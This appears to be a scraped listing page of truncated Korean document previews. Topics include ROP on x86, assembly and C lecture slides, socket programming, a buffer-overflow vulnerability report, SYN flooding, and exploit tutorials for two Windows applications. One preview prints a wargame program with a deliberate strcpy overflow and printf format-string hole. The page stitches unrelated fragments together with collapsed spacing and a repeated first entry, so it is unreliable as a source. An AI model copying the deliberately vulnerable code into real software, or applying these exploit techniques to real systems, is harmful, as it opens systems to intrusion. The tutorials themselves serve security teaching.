01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

=

= written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

C 프로그래밊 개요

C 프로그래밊 개요 구조체 2009 년 5 월 19 일 김경중 강의계획수정 일자계획 Quiz 실습보강 5 월 19 일 ( 화 ) 구조체 Quiz ( 함수 ) 5 월 21 일 ( 목 ) 구조체저녁 6 시 5 월 26 일 ( 화 ) 포인터 5 월 28 일 ( 목 ) 특강 (12:00-1:30) 6 월 2 일 ( 화 ) 포인터 Quiz ( 구조체 ) 저녁 6 시 6 월 4 일 ( 목

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

C 언어 프로그래밊 과제 풀이

C 언어 프로그래밊 과제 풀이 과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드]

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드] 소켓개요 참고문헌 : 컴퓨터네트워크프로그래밍, 김화종, 홍릉과학출판사 Socket 정의 Socket 은 Transport 계층 (TCP 나 UDP) 을이용하는 API 1982 년 BSD 유닉스 41 에서처음소개 윈도우즈의경우 Winsock 제공 JAVA 또한 Socket 프로그래밍을위한클래스제공 Socket Interface 의위치 5-7 (Ses, Pre,

More information

Microsoft Word - Network Programming_NewVersion_01_.docx

Microsoft Word - Network Programming_NewVersion_01_.docx 10. Unix Domain Socket 105/113 10. Unix Domain Socket 본절에서는 Unix Domain Socket(UDS) 에대한개념과이에대한실습을수행하고, 이와동시에비신뢰적인통신시스템의문제점에대해서분석하도록한다. 이번실습의목표는다음과같다. 1. Unix Domain Socket의사용법을익히고, IPC에대해서실습 2. TCP/IP의응용계층과전달계층의동작을구현및실습

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

<43B7CE20BECBBEC6BAB8B4C C5EBBDC52E687770>

<43B7CE20BECBBEC6BAB8B4C C5EBBDC52E687770> C 로알아보는 UDP 통신 이현환 (NOON) haonun@gmail.com http://noon.tistory.com Hacking Study Grup E.Y.E -------------------------------------------------------------------- 목차 --------------------------------------------------------------------

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

C 프로그래밊 개요

C 프로그래밊 개요 함수 (2) 2009 년 9 월 24 일 김경중 공지사항 10 월 1 일목요일수업휴강 숙제 #1 마감 : 10 월 6 일화요일 기초 함수를만들어라! 입력 함수 ( 기능수행 ) 반환 사용자정의함수 정의 : 사용자가자신의목적에따라직접작성한함수 함수의원형 (Function Prototype) + 함수의본체 (Function Body) : 함수의원형은함수에대한기본적정보만을포함

More information

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E > 웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 소켓 (Socket) (1/2) Socket 이란? 서버와클라이언트가서로특정한규약을사용하여데이터를전송하기위한방식 서버와클라이언트는소켓연결을기다렸다가소켓이연결되면서로데이터를전송 현재네트워크상에서의모든통신의근간은 Socket 이라할수있음 Page 2 1 소켓 (Socket) (2/2)

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770> 시리얼번호작성루틴을뽑아내서 Brute-Force 돌리기.. 작성일 : 2005년가을작성자 : graylynx (graylynx at gmail.com) 크랙미정보 GOAL : Find the correct password No patching allowed Difficulty : 2/10 This is an exercise on brute-attacking.

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt

Microsoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt 12 장 소켓을이용한통신 (1) 함수 - inet_addr - inet_ntoa - socket - bind - listen - accept - connect - recv -send 1 서론 파이프를사용하여통신을하기위한시스템호출 / 표준라이브러리함수 함수 의미 inet_addr 문자열형태의인터넷주소를바이너리형태로변환한다. inet_ntoa 바이너리형태의인터넷주소를문자열형태로변환한다.

More information

SYN flooding

SYN flooding Hacking & Security Frontier SecurityFirst SYN flooding - SYN flooding 공격의원리와코드그리고대응 by amur, myusgun, leemeca 2008. 09. myusgun Agenda 개요...3 원리...3 위협...4 잠깐! - 문서에관하여...4 이문서는...4 Code...4 대응방안...4 소스코드...5

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

Infinity(∞) Strategy

Infinity(∞) Strategy 반복제어 표월성 passwd74@cherub.sungkyul.edu 개요 for() 문 break문과 continue문 while문 do-while문 for() 문 for() 문형식 for( 표현식1; 표현식2; 표현식3) 여러문장들 ; 표현식 1 : 초기화 (1 번만수행 ) 표현식 2 : 반복문수행조건 ( 없으면무한반복 ) 표현식 3 : 반복문수행횟수 for()

More information

Microsoft PowerPoint - chap11-포인터의활용.pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

슬라이드 1

슬라이드 1 Computer Networks Practice Socket 1 DK Han Junghwan Song dkhan@mmlab.snu.ac.kr jhsong@mmlab.snu.ac.kr 2012-3-26 Multimedia and Mobile communications Laboratory Introduction Client / Server model Server

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

Chapter 4. LISTS

Chapter 4. LISTS C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or

More information

3. 다음장에나오는 sigprocmask 함수의설명을참고하여다음프로그램의출력물과그출력물이화면이표시되는시점을예측하세요. ( 힌트 : 각줄이표시되는시점은다음 6 가지중하나. (1) 프로그램수행직후, (2) 5 초후 (3) 10 초후 (4) 15 #include <signa

3. 다음장에나오는 sigprocmask 함수의설명을참고하여다음프로그램의출력물과그출력물이화면이표시되는시점을예측하세요. ( 힌트 : 각줄이표시되는시점은다음 6 가지중하나. (1) 프로그램수행직후, (2) 5 초후 (3) 10 초후 (4) 15 #include <signa 학번 : 이름 : 1. 다음가정하에서아래프로그램의출력물을예측하세요. 가정 : 부모프로세스의 process id=10100, 자식프로세스의 process id=10101. char buf[] = "a write to stdout\n"; int var; /* automatic variable on the stack */ pid_t pid; int glob = 31;

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

Microsoft PowerPoint - ch10 - 이진트리, AVL 트리, 트리 응용 pm0600

Microsoft PowerPoint - ch10 - 이진트리, AVL 트리, 트리 응용 pm0600 균형이진탐색트리 -VL Tree delson, Velskii, Landis에의해 1962년에제안됨 VL trees are balanced n VL Tree is a binary search tree such that for every internal node v of T, the heights of the children of v can differ by at

More information

본 강의에 들어가기 전

본 강의에 들어가기 전 인터넷프로토콜 02 장 TCP 소켓 목차 제 2 장 TCP 소켓 2.1 IPv4 TCP 클라이언트 2.2 IPv4 TCP 서버 2.3 소켓의생성과해지 2.4 주소지정 2.5 소켓에연결 2.6 소켓을주소에바인딩하기 2.7 클라이언트의연결요청처리 2.8 데이터주고받기 2.9 IPv6 의사용 소켓통신과정 간략화한소켓통신과정 소켓생성 TCP or UDP 소켓에주소정보할당

More information

simple ROP Exploit

simple ROP Exploit SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr 목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)...

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information